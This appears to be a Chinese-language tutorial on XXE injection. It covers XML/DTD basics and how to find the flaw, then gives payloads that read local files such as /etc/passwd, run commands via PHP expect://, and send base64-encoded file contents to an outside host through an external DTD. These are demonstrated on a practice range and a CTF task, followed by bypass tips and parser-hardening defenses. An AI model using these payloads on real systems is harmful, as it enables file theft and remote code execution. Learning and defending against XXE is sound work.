XXE 介绍:
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等
当使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体
基础概念:
xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XXE漏洞可以做什么事:
- 文件读取
- 内网扫描攻击
- dos攻击
- RCE执行
XML与HTML的主要差异
XML被设计为传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息
如何去挖XXE漏洞:
- 抓包修改数据类型,把json改成xml来传输数据 Content-Type: application/xml
- 抓包看响应体是否存在xml,accept头是否接受xml
- 代码审计里面是否使用了LoadXML( )函数
- 看到url是 .ashx后缀的
- 响应体是xml
xml示例:
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD实体的攻击方式 :
DTD 内部声明:
<!DOCTYPE 根元素 [元素声明]>
DTD 外部引用:
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
引用公共DTD:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
外部引用语音和支持的协议
不同的语言对协议的支持是不一样的,我在网上找的参考图:
XXE攻击常用的语句:
有回显
读取文件,比如linux的 /etc/passwd 内容等
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
PHP expect RCE:由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
无回显
无回显的情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好的 外部实体dtd
在被攻击端引入外部实体后 结果在 日志里或者自己写一个脚本储存都可以
这里是查看日志的
dtd:
可以将内部的%号要进行实体编码成%
这个是php的经过base64加密后显示结果
根据情况修改ip文件路径
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/xxe.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.56.128:8080/?p=%file;'>">
在被攻击端输入:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.56.128/text/xxe/text.dtd">
%remote;%int;%send;
]>
用pikachu靶场演示xxe漏洞
我靶场机器中 c盘下有一个 xxe.txt 文件内容为:XXE(demonstration)
我用的攻击代码:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>
操作如下:
CTF-Jarvis-OJ-Web-XXE 演示:
地址:http://web.jarvisoj.com:9882
第一步抓包
修改为 Content-Type: application/xml 提交数据 换上xxe攻击语句
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
ctf 一般都会有一个 cft 文件夹或者 ctf.txt 在或者 flag.txt文件
绕过方法参考文章:
这里给大佬写文章参考
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://xz.aliyun.com/t/4059
参考文章中大致说了如下绕过方法:
- data://协议绕过
- file://协议加文件上传
- php://filter协议加文件上传
- 文档中的额外空格
- 为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效
- 外来编码(Exotic encodings)
- 在一个文档中使用两种类型的编码
- 等
防御XXE漏洞:
使用开发语言提供的禁用外部实体的方法:
php:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
其它语言参考方法:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
手动黑名单过滤:
过滤:<!DOCTYPE
、<!ENTITY SYSTEM
、PUBLIC